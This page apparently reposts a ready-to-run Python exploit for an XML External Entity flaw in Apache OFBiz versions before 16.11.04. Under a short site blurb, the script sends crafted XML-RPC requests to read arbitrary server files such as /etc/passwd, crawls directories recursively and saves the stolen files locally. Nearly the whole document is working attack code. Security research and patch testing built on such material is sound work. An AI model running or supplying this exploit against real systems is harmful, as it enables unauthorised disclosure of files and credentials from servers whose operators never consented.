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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Apache OFBiz 16.11.04 - XML External Entity Injection
# Date: 2018-10-15
# Exploit Author: Jamie Parfet
# Vendor Homepage: https://ofbiz.apache.org/
# Software Link: https://archive.apache.org/dist/ofbiz/
# Version: < 16.11.04
# Tested on: Ubuntu 18.04.1
# CVE: N/A

#!/usr/bin/env python3
# *****************************************************
# Type: XML External Entity Injection (File disclosure)
# Target: Apache OFBiz < 16.11.04
# Author: Jamie Parfet
# *****************************************************
import sys
import os
import requests
import urllib3
import re
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

simple_payload = """<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://{}">]>
<methodCall><methodName>xXx
&disclose;xXx</methodName></methodCall>
"""

if len(sys.argv) <= 1:
    print('[*] Apache OFBiz < 16.11.04 XXE')
    print('[*] Use "%s -h" to display help.' % (sys.argv[0]))
    exit(0)


parser = argparse.ArgumentParser()
parser.add_argument("-u",
                    metavar="https://localhost:8443",
                    dest="url",
                    required=True,
                    help="Target URL (required)",
                    action='store')
parser.add_argument("-f",
                    metavar="/etc/passwd",
                    dest="file",
                    help="Target file",
                    action='store')
parser.add_argument("-c",
                    metavar="/home/",
                    dest="crawl",
                    help="Target directory to start crawling from",
                    action='store')
parser.add_argument("-o",
                    metavar="~/local/output/directory/",
                    dest="output_dir",
                    help="Local directory that remote file will be saved to",
                    action='store')
args = parser.parse_args()
url = args.url if args.url else None
target_file = args.file if args.file else None
crawl_dir = args.crawl if args.crawl else None
output_dir = args.output_dir if args.output_dir else None


def check_url(url):
    if '://' not in url:
        print('[-] ERROR: Please include protocol in URL, such as https://{}'.format(url))
        exit(0)
    else:
        return url


def request(url, payload):
    response = requests.post(url + '/webtools/control/xmlrpc', data=payload, verify=False).text
    parsed_response = re.sub(r'(.*xXx\n|xXx.*)', '', response)
    return parsed_response


def crawl(crawl_dir):
    payload = simple_payload.format(crawl_dir)
    response = request(url, payload)
    payload_404 = simple_payload.format(crawl_dir + "/xX404Xx")
    response_404 = request(url, payload_404)
    if 'No such file or directory' in response:
        print("[-] ERROR - 404: {}".format(crawl_dir))
    elif 'Permission denied' in response or 'but is not accessible' in response:
        print("[-] ERROR - Permission: {}".format(crawl_dir))
    elif 'Not a directory' in response_404:
        print("[*] FILE: {}".format(crawl_dir))
    else:
        print("[*] DIR: {}".format(crawl_dir))
        for f in response.splitlines():
            full_path = (crawl_dir + '/' + f)
            crawl(full_path)


def main(url=url, target_file=target_file, crawl_dir=crawl_dir, output_dir=output_dir):
    if url:
        check_url(url)
        if crawl_dir:
            crawl(crawl_dir)
        else:
            payload = simple_payload.format(target_file)
            if output_dir:
                if os.path.isdir(output_dir):
                    result = request(url, payload)
                    remote_file_name = re.sub('/', '--', target_file)
                    output_file = (output_dir + '/' + remote_file_name[2:])
                    file = open(output_file, 'w')
                    file.write(result)
                    file.close()
                else:
                    print("[-] ERROR: {} is not a writeable directory".format(output_dir))
            else:
                result = request(url, payload)
                print(result)


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print('\nKeyboard interrupt detected.')
        print('Exiting...')
        exit(0)